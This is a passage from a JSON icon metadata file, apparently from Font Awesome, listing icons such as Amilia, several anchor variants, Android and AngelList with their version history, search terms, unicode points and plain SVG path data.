        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z"
      }
    },
    "free": ["brands"]
  },
  "amilia": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36d",
    "label": "Amilia",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z"
      }
    },
    "free": ["brands"]
  },
  "anchor": {
    "aliases": {
      "unicodes": {
        "composite": ["2693"],
        "secondary": ["10f13d"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "anchor",
        "berth",
        "boat",
        "dock",
        "embed",
        "link",
        "maritime",
        "moor",
        "port",
        "secure",
        "ship",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f13d",
    "label": "Anchor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c88.4 0 160-71.6 160-160v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-56-56c-9.4-9.4-24.6-9.4-33.9 0l-56 56c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 53-43 96-96 96H320V240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c88.4 0 160-71.6 160-160v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-56-56c-9.4-9.4-24.6-9.4-33.9 0l-56 56c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 53-43 96-96 96H320V240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1z"
      }
    },
    "free": ["solid"]
  },
  "anchor-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["marina", "not affected", "ok", "okay", "port"]
    },
    "styles": ["solid"],
    "unicode": "e4aa",
    "label": "Anchor Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "anchor-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "marina", "port"]
    },
    "styles": ["solid"],
    "unicode": "e4ab",
    "label": "Anchor Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "anchor-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["destroy", "marina", "port"]
    },
    "styles": ["solid"],
    "unicode": "e4ac",
    "label": "Anchor Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8.2 0 16.3-.6 24.2-1.8c-22.2-16.2-40.4-37.5-53-62.2H320V368 240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "anchor-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["closed", "lockdown", "marina", "port", "quarantine"]
    },
    "styles": ["solid"],
    "unicode": "e4ad",
    "label": "Anchor Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8 0 15.9-.6 23.6-1.7c-4.8-9-7.6-19.3-7.6-30.3V446.7c-5.2 .9-10.5 1.3-16 1.3H320V240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM528 240c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm21.1 80C367 158.8 384 129.4 384 96c0-53-43-96-96-96s-96 43-96 96c0 33.4 17 62.8 42.9 80H224c-17.7 0-32 14.3-32 32s14.3 32 32 32h32V448H208c-53 0-96-43-96-96v-6.1l7 7c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L97 263c-9.4-9.4-24.6-9.4-33.9 0L7 319c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l7-7V352c0 88.4 71.6 160 160 160h80 80c8 0 15.9-.6 23.6-1.7c-4.8-9-7.6-19.3-7.6-30.3V446.7c-5.2 .9-10.5 1.3-16 1.3H320V240h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H341.1zM528 240c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "android": {
    "changes": ["3.2.0", "5.0.0", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": ["robot"]
    },
    "styles": ["brands"],
    "unicode": "f17b",
    "label": "Android",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55"
      }
    },
    "free": ["brands"]
  },
  "angellist": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f209",
    "label": "AngelList",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
